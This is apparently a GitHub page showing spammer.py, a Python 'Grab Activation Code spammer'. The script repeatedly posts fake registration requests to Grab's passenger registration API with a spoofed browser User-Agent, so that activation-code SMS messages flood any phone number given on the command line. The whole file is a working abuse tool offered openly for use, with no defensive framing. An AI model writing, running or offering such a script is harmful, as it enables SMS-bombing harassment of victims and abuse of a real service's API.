forked from razisek/Spammer-Grab
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathspammer.py
82 lines (72 loc) · 2.5 KB
/
spammer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python3
# -*- code: utf-8 -*-
import sys
import time
import click
import requests
__author__ = 'loncat <[email protected]>'
DEFAULT_REQ_DELAY = 60
GAC_REQ_URL = 'https://p.grabtaxi.com/api/passenger/v2/profiles/register'
@click.command()
@click.argument('phone_num', type=int)
@click.option('--delay',
'-dl',
default=DEFAULT_REQ_DELAY,
help='delay between each request wave',
type=int)
@click.option('--limit', '-li', help='amount of request to send', type=int)
@click.option('--country_code',
'-cc',
help='phone number country code',
default='ID')
def main(phone_num, delay, limit, country_code):
"""
This script will repeatedly send Grab Activation Code (GAC) to PHONE_NUM.
PHONE_NUM must be a phone number in international format
(example: 6281323323232 with 62 prefix as the country code)
"""
i = 0
click.secho(f'-- phone number: {phone_num}, country code: {country_code}',
fg='cyan')
while i == 0 or i < limit:
res, reason, wait = send_gac_req(phone_num, country_code)
long_res = 'success' if res else 'failed'
click.secho(f'i = {i} ~> {long_res}: {reason}, sleep: {wait}',
fg='green' if res else 'red')
if wait and (i == 0 or i < limit):
time.sleep(delay)
i += 1
return
def send_gac_req(phone_num, cc):
req_kwargs = {
'data': {
'phoneNumber': phone_num,
'countryCode': cc,
'name': 'test',
'email': '[email protected]',
'deviceToken': '*'
},
'headers': {
'User-Agent':
('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ('
'+KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36')
}
}
try:
req = requests.post(GAC_REQ_URL, **req_kwargs)
except requests.exceptions.RequestException:
return False, 'exception', True
if req.status_code == 429:
return False, 'reached limit', True
elif req.status_code == 200:
return True, '200 ok', True
else:
raise NotImplementedError(
'something went wrong, please submit an issue.')
if __name__ == '__main__':
click.secho(f'{sys.argv[0]} \u2014 Grab Activation Code (GAC) spammer',
fg='black',
bg='green')
click.echo(' author\tloncat <[email protected]>')
click.echo(' url\thttps://github.com/p4kl0nc4t/Spammer-Grab\n')
main()